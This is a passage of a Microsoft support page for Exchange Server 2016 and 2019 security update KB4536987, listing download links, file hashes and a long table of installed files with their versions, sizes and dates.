Microsoft Download Center.\n\n * [Download Security Update For Exchange Server 2019 Cumulative Update 4 (KB4536987)](<http://www.microsoft.com/download/details.aspx?familyid=6f5e2305-f1dc-4ce9-97c5-4d6fc1b87a24>)\n * [Download Security Update For Exchange Server 2019 Cumulative Update 3 (KB4536987)](<http://www.microsoft.com/download/details.aspx?familyid=dec0d147-8b43-4fee-94cb-ed43ed1226ad>)\n * [Download Security Update For Exchange Server 2016 Cumulative Update 15 (KB4536987)](<http://www.microsoft.com/download/details.aspx?familyid=a4bd9a4e-56f4-42c2-b0d7-fffe52c5dbe5>)\n * [Download Security Update For Exchange Server 2016 Cumulative Update 14 (KB4536987)](<http://www.microsoft.com/download/details.aspx?familyid=5ae7346b-f59c-415d-b576-e50f6b493a23>)\n\n## More information\n\n### Security update deployment information\n\nFor deployment information about this update, see [security update deployment information: February 11, 2020](<https://support.microsoft.com/help/20200211>). \n\n### Security update replacement information\n\nThis security update replaces the following previously released updates:\n\n * Description of the security update for Microsoft Exchange Server 2016, and 2019: November 12, 2019\n\n## File information\n\n### File hash information\n\nUpdate name| File name| SHA1 hash| SHA256 hash \n---|---|---|--- \nExchange Server 2019 Cumulative Update 4| Exchange2019-KB4536987-x64-en.msp| F040FFC72F38658BC9B77DF8E368698B70CB825C| 774A68E5B4462A6807B34AACD1ABE36901A31C6B1C7AD0270225A2C0C62B2478 \nExchange Server 2019 Cumulative Update 3| Exchange2019-KB4536987-x64-en.msp| F936D367F8AD3F8965BFDDB61FFCFF3BFC107013| 78851F1ECD036A768181F9938CF9CFF79FE3D0BD45A4132A22C3587B7D9379C2 \nExchange Server 2016 Cumulative Update 15| Exchange2016-KB4536987-x64-en.msp| 864C4A38668A914A4F75DDF679555CFB8F0D4065| 6DC7F1CEBCDBCA95FE33C2168426B0AC8BD14F31079B12C759A68F35F6FC3352 \nExchange Server 2016 Cumulative Update 14| Exchange2016-KB4536987-x64-en.msp| 68E8E81FB24045AE4EA18862B744BCF5A2CCAE6E| 68D642697F7BE93E5070DB0B198918C43D6B05BA7FC62D2322A2C6FE8BB9D171 \n \n### Exchange server file information\n\nThe English (United States) version of this update installs files that have the attributes that are listed in the following tables. The dates and times for these files are listed in Coordinated Universal Time (UTC). The dates and times for these files on your local computer are displayed in your local time together with your current daylight-saving time (DST) bias. Additionally, the dates and times may change when you perform certain operations on the files.\n\n## \n\n__\n\nExchange Server 2019 Cumulative Update 4\n\nFile name| File version| File size| Date| Time| Platform \n---|---|---|---|---|--- \nActivemonitoringeventmsg.dll| 15.2.529.8| 71,032| 01-Jan-2020| 11:20| x64 \nActivemonitoringexecutionlibrary.ps1| Not applicable| 29,802| 01-Jan-2020| 11:22| Not applicable \nAdduserstopfrecursive.ps1| Not applicable| 14,925| 01-Jan-2020| 11:21| Not applicable \nAdemodule.dll| 15.2.529.8| 106,368| 01-Jan-2020| 11:20| x64 \nAirfilter.dll| 15.2.529.8| 42,872| 01-Jan-2020| 11:21| x64 \nAjaxcontroltoolkit.dll| 15.2.529.8| 92,752| 01-Jan-2020| 11:20| x86 \nAntispamcommon.ps1| Not applicable| 13,485| 01-Jan-2020| 11:21| Not applicable \nAsdat.msi| Not applicable| 5,087,232| 01-Jan-2020| 11:22| Not applicable \nAsentirs.msi| Not applicable| 77,824| 01-Jan-2020| 11:22| Not applicable \nAsentsig.msi| Not applicable| 73,728| 01-Jan-2020| 11:21| Not applicable \nBigfunnel.bondtypes.dll| 15.2.529.8| 45,432| 01-Jan-2020| 11:20| x86 \nBigfunnel.common.dll| 15.2.529.8| 66,424| 01-Jan-2020| 11:20| x86 \nBigfunnel.configuration.dll| 15.2.529.8| 118,352| 01-Jan-2020| 11:20| x86 \nBigfunnel.entropy.dll| 15.2.529.8| 44,408| 01-Jan-2020| 11:20| x86 \nBigfunnel.filter.dll| 15.2.529.8| 54,136| 01-Jan-2020| 11:21| x86 \nBigfunnel.indexstream.dll| 15.2.529.8| 68,992| 01-Jan-2020| 11:21| x86 \nBigfunnel.neuraltree.dll| Not applicable| 694,144| 01-Jan-2020| 11:19| x64 \nBigfunnel.neuraltreeranking.dll| 15.2.529.8| 19,832| 01-Jan-2020| 11:20| x86 \nBigfunnel.poi.dll| 15.2.529.8| 245,320| 01-Jan-2020| 11:21| x86 \nBigfunnel.postinglist.dll| 15.2.529.8| 189,304| 01-Jan-2020| 11:19| x86 \nBigfunnel.query.dll| 15.2.529.8| 101,240| 01-Jan-2020| 11:21| x86 \nBigfunnel.ranking.dll| 15.2.529.8| 109,648| 01-Jan-2020| 11:20| x86 \nBigfunnel.syntheticdatalib.dll| 15.2.529.8| 3,634,760| 01-Jan-2020| 11:21| x86 \nBigfunnel.tracing.dll| 15.2.529.8| 42,872| 01-Jan-2020| 11:19| x86 \nBigfunnel.wordbreakers.dll| 15.2.529.8| 46,464| 01-Jan-2020| 11:20| x86 \nCafe_airfilter_dll| 15.2.529.8| 42,872| 01-Jan-2020| 11:21| x64 \nCafe_exppw_dll| 15.2.529.8| 83,320| 01-Jan-2020| 11:21| x64 \nCafe_owaauth_dll| 15.2.529.8| 92,024| 01-Jan-2020| 11:20| x64 \nCalcalculation.ps1| Not applicable| 42,093| 01-Jan-2020| 11:22| Not applicable \nCheckdatabaseredundancy.ps1| Not applicable| 94,902| 01-Jan-2020| 11:21| Not applicable \nChksgfiles.dll| 15.2.529.8| 57,416| 01-Jan-2020| 11:22| x64 \nCitsconstants.ps1| Not applicable| 15,805| 01-Jan-2020| 11:20| Not applicable \nCitslibrary.ps1| Not applicable| 82,956| 01-Jan-2020| 11:21| Not applicable \nCitstypes.ps1| Not applicable| 14,760| 01-Jan-2020| 11:21| Not applicable \nClassificationengine_mce| 15.2.529.8| 1,693,264| 01-Jan-2020| 11:21| Not applicable \nClusmsg.dll| 15.2.529.8| 134,008| 01-Jan-2020| 11:21| x64 \nCoconet.dll| 15.2.529.8| 48,000| 01-Jan-2020| 11:19| x64 \nCollectovermetrics.ps1| Not applicable| 81,948| 01-Jan-2020| 11:20| Not applicable \nCollectreplicationmetrics.ps1| Not applicable| 41,870| 01-Jan-2020| 11:21| Not applicable \nCommonconnectfunctions.ps1| Not applicable| 30,235| 01-Jan-2020| 11:20| Not applicable \nComplianceauditservice.exe| 15.2.529.8| 39,808| 01-Jan-2020| 11:22| x86 \nConfigureadam.ps1| Not applicable| 23,068| 01-Jan-2020| 11:21| Not applicable \nConfigurecaferesponseheaders.ps1| Not applicable| 20,308| 01-Jan-2020| 11:21| Not applicable \nConfigurecryptodefaults.ps1| Not applicable| 42,035| 01-Jan-2020| 11:22| Not applicable \nConfigurenetworkprotocolparameters.ps1| Not applicable| 19,766| 01-Jan-2020| 11:21| Not applicable \nConfiguresmbipsec.ps1| Not applicable| 39,824| 01-Jan-2020| 11:21| Not applicable \nConfigure_enterprisepartnerapplication.ps1| Not applicable| 22,283| 01-Jan-2020| 11:21| Not applicable \nConnectfunctions.ps1| Not applicable| 37,421| 01-Jan-2020| 11:22| Not applicable \nConnect_exchangeserver_help.xml| Not applicable| 29,604| 01-Jan-2020| 11:22| Not applicable \nConsoleinitialize.ps1| Not applicable| 24,528| 01-Jan-2020| 11:22| Not applicable \nConvertoabvdir.ps1| Not applicable| 20,053| 01-Jan-2020| 11:21| Not applicable \nConverttomessagelatency.ps1| Not applicable| 14,836| 01-Jan-2020| 11:21| Not applicable \nConvert_distributiongrouptounifiedgroup.ps1| Not applicable| 34,761| 01-Jan-2020| 11:21| Not applicable \nCreate_publicfoldermailboxesformigration.ps1| Not applicable| 27,908| 01-Jan-2020| 11:21| Not applicable \nCts.14.0.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 501| 01-Jan-2020| 09:08| Not applicable \nCts.14.1.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 501| 01-Jan-2020| 09:08| Not applicable \nCts.14.2.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 501| 01-Jan-2020| 09:08| Not applicable \nCts.14.3.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 501| 01-Jan-2020| 09:08| Not applicable \nCts.14.4.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 501| 01-Jan-2020| 09:08| Not applicable \nCts.15.0.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 501| 01-Jan-2020| 09:08| Not applicable \nCts.15.1.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 501| 01-Jan-2020| 09:08| Not applicable \nCts.15.2.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 501| 01-Jan-2020| 09:08| Not applicable \nCts.15.20.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 501| 01-Jan-2020| 09:08| Not applicable \nCts.8.1.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 501| 01-Jan-2020| 09:08| Not applicable \nCts.8.2.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 501| 01-Jan-2020| 09:08| Not applicable \nCts.8.3.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 501| 01-Jan-2020| 09:08| Not applicable \nCts_exsmime.dll| 15.2.529.8| 380,792| 01-Jan-2020| 11:21| x64 \nCts_microsoft.exchange.data.common.dll| 15.2.529.8| 1,686,400| 01-Jan-2020| 11:21| x86 \nCts_microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 501| 01-Jan-2020| 09:08| Not applicable \nCts_policy.14.0.microsoft.exchange.data.common.dll| 15.2.529.8| 12,672| 01-Jan-2020| 11:22| x86 \nCts_policy.14.1.microsoft.exchange.data.common.dll| 15.2.529.8| 12,872| 01-Jan-2020| 11:22| x86 \nCts_policy.14.2.microsoft.exchange.data.common.dll| 15.2.529.8| 12,672| 01-Jan-2020| 11:22| x86 \nCts_policy.14.3.microsoft.exchange.data.common.dll| 15.2.529.8| 12,672| 01-Jan-2020| 11:22| x86 \nCts_policy.14.4.microsoft.exchange.data.common.dll| 15.2.529.8| 12,672| 01-Jan-2020| 11:22| x86 \nCts_policy.15.0.microsoft.exchange.data.common.dll| 15.2.529.8| 12,664| 01-Jan-2020| 11:22| x86 \nCts_policy.15.1.microsoft.exchange.data.common.dll| 15.2.529.8| 12,880| 01-Jan-2020| 11:22| x86 \nCts_policy.15.2.microsoft.exchange.data.common.dll| 15.2.529.8| 12,672| 01-Jan-2020| 11:22| x86 \nCts_policy.15.20.microsoft.exchange.data.common.dll| 15.2.529.8| 12,664| 01-Jan-2020| 11:22| x86 \nCts_policy.8.0.microsoft.exchange.data.common.dll| 15.2.529.8| 12,664| 01-Jan-2020| 11:22| x86 \nCts_policy.8.1.microsoft.exchange.data.common.dll| 15.2.529.8| 12,872| 01-Jan-2020| 11:21| x86 \nCts_policy.8.2.microsoft.exchange.data.common.dll| 15.2.529.8| 12,664| 01-Jan-2020| 11:22| x86 \nCts_policy.8.3.microsoft.exchange.data.common.dll| 15.2.529.8| 12,664| 01-Jan-2020| 11:22| x86 \nDagcommonlibrary.ps1| Not applicable| 60,222| 01-Jan-2020| 11:21| Not applicable \nDependentassemblygenerator.exe| 15.2.529.8| 22,400| 01-Jan-2020| 11:22| x86 \nDiaghelper.dll| 15.2.529.8| 67,152| 01-Jan-2020| 11:21| x86 \nDiagnosticscriptcommonlibrary.ps1| Not applicable| 16,334| 01-Jan-2020| 11:21| Not applicable \nDisableinmemorytracing.ps1| Not applicable| 13,358| 01-Jan-2020| 11:21| Not applicable \nDisable_antimalwarescanning.ps1| Not applicable| 15,181| 01-Jan-2020| 11:21| Not applicable \nDisable_outsidein.ps1| Not applicable| 13,654| 01-Jan-2020| 11:21| Not applicable \nDisklockerapi.dll| Not applicable| 22,608| 01-Jan-2020| 11:20| x64 \nDlmigrationmodule.psm1| Not applicable| 39,576| 01-Jan-2020| 11:20| Not applicable \nDsaccessperf.dll| 15.2.529.8| 46,160| 01-Jan-2020| 11:19| x64 \nDscperf.dll| 15.2.529.8| 32,872| 01-Jan-2020| 11:19| x64 \nDup_cts_microsoft.exchange.data.common.dll| 15.2.529.8| 1,686,400| 01-Jan-2020| 11:21| x86 \nDup_ext_microsoft.exchange.data.transport.dll| 15.2.529.8| 601,472| 01-Jan-2020| 11:19| x86 \nEcpperfcounters.xml| Not applicable| 30,344| 01-Jan-2020| 11:21| Not applicable \nEdgeextensibility_microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:07| Not applicable \nEdgeextensibility_policy.8.0.microsoft.exchange.data.transport.dll| 15.2.529.8| 12,880| 01-Jan-2020| 11:22| x86 \nEdgetransport.exe| 15.2.529.8| 49,528| 01-Jan-2020| 11:22| x86 \nEext.14.0.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:07| Not applicable \nEext.14.1.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:07| Not applicable \nEext.14.2.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:07| Not applicable \nEext.14.3.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:07| Not applicable \nEext.14.4.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:07| Not applicable \nEext.15.0.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:07| Not applicable \nEext.15.1.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:07| Not applicable \nEext.15.2.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:07| Not applicable \nEext.15.20.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:07| Not applicable \nEext.8.1.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:07| Not applicable \nEext.8.2.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:07| Not applicable \nEext.8.3.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:07| Not applicable \nEext_policy.14.0.microsoft.exchange.data.transport.dll| 15.2.529.8| 12,880| 01-Jan-2020| 11:22| x86 \nEext_policy.14.1.microsoft.exchange.data.transport.dll| 15.2.529.8| 12,664| 01-Jan-2020| 11:22| x86 \nEext_policy.14.2.microsoft.exchange.data.transport.dll| 15.2.529.8| 12,880| 01-Jan-2020| 11:22| x86 \nEext_policy.14.3.microsoft.exchange.data.transport.dll| 15.2.529.8| 12,672| 01-Jan-2020| 11:22| x86 \nEext_policy.14.4.microsoft.exchange.data.transport.dll| 15.2.529.8| 12,664| 01-Jan-2020| 11:22| x86 \nEext_policy.15.0.microsoft.exchange.data.transport.dll| 15.2.529.8| 12,880| 01-Jan-2020| 11:21| x86 \nEext_policy.15.1.microsoft.exchange.data.transport.dll| 15.2.529.8| 12,664| 01-Jan-2020| 11:22| x86 \nEext_policy.15.2.microsoft.exchange.data.transport.dll| 15.2.529.8| 12,880| 01-Jan-2020| 11:21| x86 \nEext_policy.15.20.microsoft.exchange.data.transport.dll| 15.2.529.8| 13,184| 01-Jan-2020| 11:22| x86 \nEext_policy.8.1.microsoft.exchange.data.transport.dll| 15.2.529.8| 12,664| 01-Jan-2020| 11:22| x86 \nEext_policy.8.2.microsoft.exchange.data.transport.dll| 15.2.529.8| 12,664| 01-Jan-2020| 11:22| x86 \nEext_policy.8.3.microsoft.exchange.data.transport.dll| 15.2.529.8| 12,880| 01-Jan-2020| 11:22| x86 \nEnableinmemorytracing.ps1| Not applicable| 13,360| 01-Jan-2020| 11:21| Not applicable \nEnable_antimalwarescanning.ps1| Not applicable| 17,559| 01-Jan-2020| 11:21| Not applicable \nEnable_basicauthtooauthconverterhttpmodule.ps1| Not applicable| 18,584| 01-Jan-2020| 11:21| Not applicable \nEnable_crossforestconnector.ps1| Not applicable| 18,598| 01-Jan-2020| 11:20| Not applicable \nEnable_outlookcertificateauthentication.ps1| Not applicable| 22,912| 01-Jan-2020| 11:20| Not applicable \nEnable_outsidein.ps1| Not applicable| 13,647| 01-Jan-2020| 11:21| Not applicable \nEngineupdateserviceinterfaces.dll| 15.2.529.8| 17,792| 01-Jan-2020| 11:21| x86 \nEscprint.dll| 15.2.529.8| 20,344| 01-Jan-2020| 11:22| x64 \nEse.dll| 15.2.529.8| 3,741,568| 01-Jan-2020| 11:19| x64 \nEseback2.dll| 15.2.529.8| 350,080| 01-Jan-2020| 11:19| x64 \nEsebcli2.dll| 15.2.529.8| 318,536| 01-Jan-2020| 11:21| x64 \nEseperf.dll| 15.2.529.8| 108,920| 01-Jan-2020| 11:20| x64 \nEseutil.exe| 15.2.529.8| 425,336| 01-Jan-2020| 11:22| x64 \nEsevss.dll| 15.2.529.8| 44,416| 01-Jan-2020| 11:21| x64 \nEtweseproviderresources.dll| 15.2.529.8| 101,240| 01-Jan-2020| 11:22| x64 \nEventperf.dll| 15.2.529.8| 59,776| 01-Jan-2020| 11:21| x64 \nExchange.depthtwo.types.ps1xml| Not applicable| 40,417| 01-Jan-2020| 11:22| Not applicable \nExchange.format.ps1xml| Not applicable| 649,678| 01-Jan-2020| 11:22| Not applicable \nExchange.partial.types.ps1xml| Not applicable| 44,647| 01-Jan-2020| 11:22| Not applicable \nExchange.ps1| Not applicable| 21,123| 01-Jan-2020| 11:22| Not applicable \nExchange.support.format.ps1xml| Not applicable| 26,531| 01-Jan-2020| 11:22| Not applicable \nExchange.types.ps1xml| Not applicable| 365,453| 01-Jan-2020| 11:22| Not applicable \nExchangeudfcommon.dll| 15.2.529.8| 122,744| 01-Jan-2020| 11:22| x86 \nExchangeudfs.dll| 15.2.529.8| 272,760| 01-Jan-2020| 11:22| x86 \nExchmem.dll| 15.2.529.8| 86,608| 01-Jan-2020| 11:21| x64 \nExchsetupmsg.dll| 15.2.529.8| 19,528| 01-Jan-2020| 11:22| x64 \nExdbfailureitemapi.dll| Not applicable| 27,008| 01-Jan-2020| 11:21| x64 \nExdbmsg.dll| 15.2.529.8| 230,784| 01-Jan-2020| 11:22| x64 \nExeventperfplugin.dll| 15.2.529.8| 25,472| 01-Jan-2020| 11:20| x64 \nExmime.dll| 15.2.529.8| 364,920| 01-Jan-2020| 11:22| x64 \nExportedgeconfig.ps1| Not applicable| 27,391| 01-Jan-2020| 11:20| Not applicable \nExport_mailpublicfoldersformigration.ps1| Not applicable| 18,558| 01-Jan-2020| 11:21| Not applicable \nExport_modernpublicfolderstatistics.ps1| Not applicable| 28,850| 01-Jan-2020| 11:20| Not applicable \nExport_outlookclassification.ps1| Not applicable| 14,374| 01-Jan-2020| 11:21| Not applicable \nExport_publicfolderstatistics.ps1| Not applicable| 23,417| 01-Jan-2020| 11:21| Not applicable \nExport_retentiontags.ps1| Not applicable| 17,340| 01-Jan-2020| 11:20| Not applicable \nExppw.dll| 15.2.529.8| 83,320| 01-Jan-2020| 11:21| x64 \nExprfdll.dll| 15.2.529.8| 26,704| 01-Jan-2020| 11:25| x64 \nExrpc32.dll| 15.2.529.8| 2,029,952| 01-Jan-2020| 11:21| x64 \nExrw.dll| 15.2.529.8| 28,232| 01-Jan-2020| 11:21| x64 \nExsetdata.dll| 15.2.529.8| 2,779,728| 01-Jan-2020| 11:22| x64 \nExsetup.exe| 15.2.529.8| 35,200| 01-Jan-2020| 11:22| x86 \nExsetupui.exe| 15.2.529.8| 471,936| 01-Jan-2020| 11:22| x86 \nExtrace.dll| 15.2.529.8| 245,112| 01-Jan-2020| 11:20| x64 \nExt_microsoft.exchange.data.transport.dll| 15.2.529.8| 601,472| 01-Jan-2020| 11:19| x86 \nExwatson.dll| 15.2.529.8| 44,928| 01-Jan-2020| 11:19| x64 \nFastioext.dll| 15.2.529.8| 60,288| 01-Jan-2020| 11:22| x64 \nFil06f84122c94c91a0458cad45c22cce20| Not applicable| 784,631| 01-Jan-2020| 11:24| Not applicable \nFil143a7a5d4894478a85eefc89a6539fc8| Not applicable| 1,909,118| 01-Jan-2020| 11:25| Not applicable \nFil19f527f284a0bb584915f9994f4885c3| Not applicable| 648,793| 01-Jan-2020| 11:24| Not applicable \nFil1a9540363a531e7fb18ffe600cffc3ce| Not applicable| 358,404| 01-Jan-2020| 11:21| Not applicable \nFil220d95210c8697448312eee6628c815c| Not applicable| 303,656| 01-Jan-2020| 11:21| Not applicable \nFil2cf5a31e239a45fabea48687373b547c| Not applicable| 652,625| 01-Jan-2020| 11:25| Not applicable \nFil397f0b1f1d7bd44d6e57e496decea2ec| Not applicable| 784,628| 01-Jan-2020| 11:25| Not applicable \nFil3ab126057b34eee68c4fd4b127ff7aee| Not applicable| 784,604| 01-Jan-2020| 11:25| Not applicable \nFil41bb2e5743e3bde4ecb1e07a76c5a7a8| Not applicable| 149,154| 01-Jan-2020| 11:20| Not applicable \nFil51669bfbda26e56e3a43791df94c1e9c| Not applicable| 9,344| 01-Jan-2020| 11:25| Not applicable \nFil558cb84302edfc96e553bcfce2b85286| Not applicable| 85,258| 01-Jan-2020| 11:25| Not applicable \nFil55ce217251b77b97a46e914579fc4c64| Not applicable| 648,787| 01-Jan-2020| 11:24| Not applicable \nFil5a9e78a51a18d05bc36b5e8b822d43a8| Not applicable| 1,596,145| 01-Jan-2020| 11:19| Not applicable \nFil5c7d10e5f1f9ada1e877c9aa087182a9| Not applicable| 1,596,145| 01-Jan-2020| 11:19| Not applicable \nFil6569a92c80a1e14949e4282ae2cc699c| Not applicable| 1,596,145| 01-Jan-2020| 11:19| Not applicable \nFil6a01daba551306a1e55f0bf6894f4d9f| Not applicable| 648,763| 01-Jan-2020| 11:24| Not applicable \nFil8863143ea7cd93a5f197c9fff13686bf| Not applicable| 648,793| 01-Jan-2020| 11:24| Not applicable \nFil8a8c76f225c7205db1000e8864c10038| Not applicable| 1,596,145| 01-Jan-2020| 11:19| Not applicable \nFil8cd999415d36ba78a3ac16a080c47458| Not applicable| 784,634| 01-Jan-2020| 11:24| Not applicable \nFil97913e630ff02079ce9889505a517ec0| Not applicable| 1,596,145| 01-Jan-2020| 11:19| Not applicable \nFilaa49badb2892075a28d58d06560f8da2| Not applicable| 785,658| 01-Jan-2020| 11:24| Not applicable \nFilae28aeed23ccb4b9b80accc2d43175b5| Not applicable| 648,790| 01-Jan-2020| 11:24| Not applicable \nFilb17f496f9d880a684b5c13f6b02d7203| Not applicable| 784,634| 01-Jan-2020| 11:24| Not applicable \nFilb94ca32f2654692263a5be009c0fe4ca| Not applicable| 2,564,949| 01-Jan-2020| 11:20| Not applicable \nFilbabdc4808eba0c4f18103f12ae955e5c| Not applicable| 342,793,037| 01-Jan-2020| 11:20| Not applicable \nFilc92cf2bf29bed21bd5555163330a3d07| Not applicable| 652,643| 01-Jan-2020| 11:24| Not applicable \nFilcc478d2a8346db20c4e2dc36f3400628| Not applicable| 784,634| 01-Jan-2020| 11:24| Not applicable \nFild26cd6b13cfe2ec2a16703819da6d043| Not applicable| 1,596,145| 01-Jan-2020| 11:19| Not applicable \nFilf2719f9dc8f7b74df78ad558ad3ee8a6| Not applicable| 785,640| 01-Jan-2020| 11:25| Not applicable \nFilfa5378dc76359a55ef20cc34f8a23fee| Not applicable| 1,427,187| 01-Jan-2020| 11:20| Not applicable \nFilteringconfigurationcommands.ps1| Not applicable| 18,535| 01-Jan-2020| 11:21| Not applicable \nFilteringpowershell.dll| 15.2.529.8| 223,096| 01-Jan-2020| 11:20| x86 \nFilteringpowershell.format.ps1xml| Not applicable| 29,652| 01-Jan-2020| 11:20| Not applicable \nFiltermodule.dll| 15.2.529.8| 180,088| 01-Jan-2020| 11:21| x64 \nFipexeuperfctrresource.dll| 15.2.529.8| 15,232| 01-Jan-2020| 11:21| x64 \nFipexeventsresource.dll| 15.2.529.8| 45,136| 01-Jan-2020| 11:21| x64 \nFipexperfctrresource.dll| 15.2.529.8| 32,848| 01-Jan-2020| 11:20| x64 \nFirewallres.dll| 15.2.529.8| 72,808| 01-Jan-2020| 11:21| x64 \nFms.exe| 15.2.529.8| 1,350,008| 01-Jan-2020| 11:20| x64 \nForefrontactivedirectoryconnector.exe| 15.2.529.8| 110,976| 01-Jan-2020| 11:22| x64 \nFpsdiag.exe| 15.2.529.8| 18,808| 01-Jan-2020| 11:21| x86 \nFsccachedfilemanagedlocal.dll| 15.2.529.8| 822,352| 01-Jan-2020| 11:21| x64 \nFscconfigsupport.dll| 15.2.529.8| 56,904| 01-Jan-2020| 11:21| x86 \nFscconfigurationserver.exe| 15.2.529.8| 430,976| 01-Jan-2020| 11:21| x64 \nFscconfigurationserverinterfaces.dll| 15.2.529.8| 15,952| 01-Jan-2020| 11:21| x86 \nFsccrypto.dll| 15.2.529.8| 208,760| 01-Jan-2020| 11:21| x64 \nFscipcinterfaceslocal.dll| 15.2.529.8| 28,752| 01-Jan-2020| 11:21| x86 \nFscipclocal.dll| 15.2.529.8| 38,264| 01-Jan-2020| 11:21| x86 \nFscsqmuploader.exe| 15.2.529.8| 453,712| 01-Jan-2020| 11:22| x64 \nGetucpool.ps1| Not applicable| 20,071| 01-Jan-2020| 11:20| Not applicable \nGetvalidengines.ps1| Not applicable| 13,270| 01-Jan-2020| 11:20| Not applicable \nGet_antispamfilteringreport.ps1| Not applicable| 16,089| 01-Jan-2020| 11:21| Not applicable \nGet_antispamsclhistogram.ps1| Not applicable| 14,635| 01-Jan-2020| 11:21| Not applicable \nGet_antispamtopblockedsenderdomains.ps1| Not applicable| 15,707| 01-Jan-2020| 11:21| Not applicable \nGet_antispamtopblockedsenderips.ps1| Not applicable| 14,755| 01-Jan-2020| 11:21| Not applicable \nGet_antispamtopblockedsenders.ps1| Not applicable| 15,778| 01-Jan-2020| 11:21| Not applicable \nGet_antispamtoprblproviders.ps1| Not applicable| 14,985| 01-Jan-2020| 11:20| Not applicable \nGet_antispamtoprecipients.ps1| Not applicable| 14,794| 01-Jan-2020| 11:20| Not applicable \nGet_dleligibilitylist.ps1| Not applicable| 42,668| 01-Jan-2020| 11:20| Not applicable \nGet_exchangeetwtrace.ps1| Not applicable| 29,243| 01-Jan-2020| 11:21| Not applicable \nGet_publicfoldermailboxsize.ps1| Not applicable| 15,022| 01-Jan-2020| 11:21| Not applicable \nGet_storetrace.ps1| Not applicable| 51,867| 01-Jan-2020| 11:20| Not applicable \nHuffman_xpress.dll| 15.2.529.8| 32,632| 01-Jan-2020| 11:21| x64 \nImportedgeconfig.ps1| Not applicable| 77,244| 01-Jan-2020| 11:21| Not applicable \nImport_mailpublicfoldersformigration.ps1| Not applicable| 29,776| 01-Jan-2020| 11:21| Not applicable \nImport_retentiontags.ps1| Not applicable| 29,114| 01-Jan-2020| 11:21| Not applicable \nInproxy.dll| 15.2.529.8| 85,880| 01-Jan-2020| 11:19| x64 \nInstallwindowscomponent.ps1| Not applicable| 34,523| 01-Jan-2020| 11:22| Not applicable \nInstall_antispamagents.ps1| Not applicable| 17,909| 01-Jan-2020| 11:21| Not applicable \nInstall_odatavirtualdirectory.ps1| Not applicable| 17,959| 01-Jan-2020| 11:21| Not applicable \nInterop.activeds.dll.4b7767dc_2e20_4d95_861a_4629cbc0cabc| 15.2.529.8| 107,384| 01-Jan-2020| 11:21| Not applicable \nInterop.adsiis.dll.4b7767dc_2e20_4d95_861a_4629cbc0cabc| 15.2.529.8| 20,344| 01-Jan-2020| 11:22| Not applicable \nInterop.certenroll.dll| 15.2.529.8| 142,928| 01-Jan-2020| 11:19| x86 \nInterop.licenseinfointerface.dll| 15.2.529.8| 14,208| 01-Jan-2020| 11:20| x86 \nInterop.netfw.dll| 15.2.529.8| 34,384| 01-Jan-2020| 11:20| x86 \nInterop.plalibrary.dll| 15.2.529.8| 72,776| 01-Jan-2020| 11:19| x86 \nInterop.stdole2.dll.4b7767dc_2e20_4d95_861a_4629cbc0cabc| 15.2.529.8| 27,000| 01-Jan-2020| 11:22| Not applicable \nInterop.taskscheduler.dll| 15.2.529.8| 46,672| 01-Jan-2020| 11:20| x86 \nInterop.wuapilib.dll| 15.2.529.8| 60,800| 01-Jan-2020| 11:22| x86 \nInterop.xenroll.dll| 15.2.529.8| 39,800| 01-Jan-2020| 11:20| x86 \nKerbauth.dll| 15.2.529.8| 63,056| 01-Jan-2020| 11:22| x64 \nLicenseinfointerface.dll| 15.2.529.8| 643,448| 01-Jan-2020| 11:21| x64 \nLpversioning.xml| Not applicable| 19,954| 01-Jan-2020| 11:21| Not applicable \nMailboxdatabasereseedusingspares.ps1| Not applicable| 31,900| 01-Jan-2020| 11:20| Not applicable \nManagedavailabilitycrimsonmsg.dll| 15.2.529.8| 138,624| 01-Jan-2020| 11:21| x64 \nManagedstorediagnosticfunctions.ps1| Not applicable| 126,233| 01-Jan-2020| 11:20| Not applicable \nManagescheduledtask.ps1| Not applicable| 36,336| 01-Jan-2020| 11:21| Not applicable \nManage_metacachedatabase.ps1| Not applicable| 51,334| 01-Jan-2020| 11:21| Not applicable \nMce.dll| 15.2.529.8| 1,693,264| 01-Jan-2020| 11:21| x64 \nMeasure_storeusagestatistics.ps1| Not applicable| 29,483| 01-Jan-2020| 11:20| Not applicable \nMerge_publicfoldermailbox.ps1| Not applicable| 22,623| 01-Jan-2020| 11:21| Not applicable \nMicrosoft.database.isam.dll| 15.2.529.8| 127,864| 01-Jan-2020| 11:22| x86 \nMicrosoft.dkm.proxy.dll| 15.2.529.8| 25,984| 01-Jan-2020| 11:20| x86 \nMicrosoft.exchange.activemonitoring.activemonitoringvariantconfig.dll| 15.2.529.8| 68,472| 01-Jan-2020| 11:21| x86 \nMicrosoft.exchange.activemonitoring.eventlog.dll| 15.2.529.8| 17,792| 01-Jan-2020| 11:21| x64 \nMicrosoft.exchange.addressbook.service.dll| 15.2.529.8| 233,344| 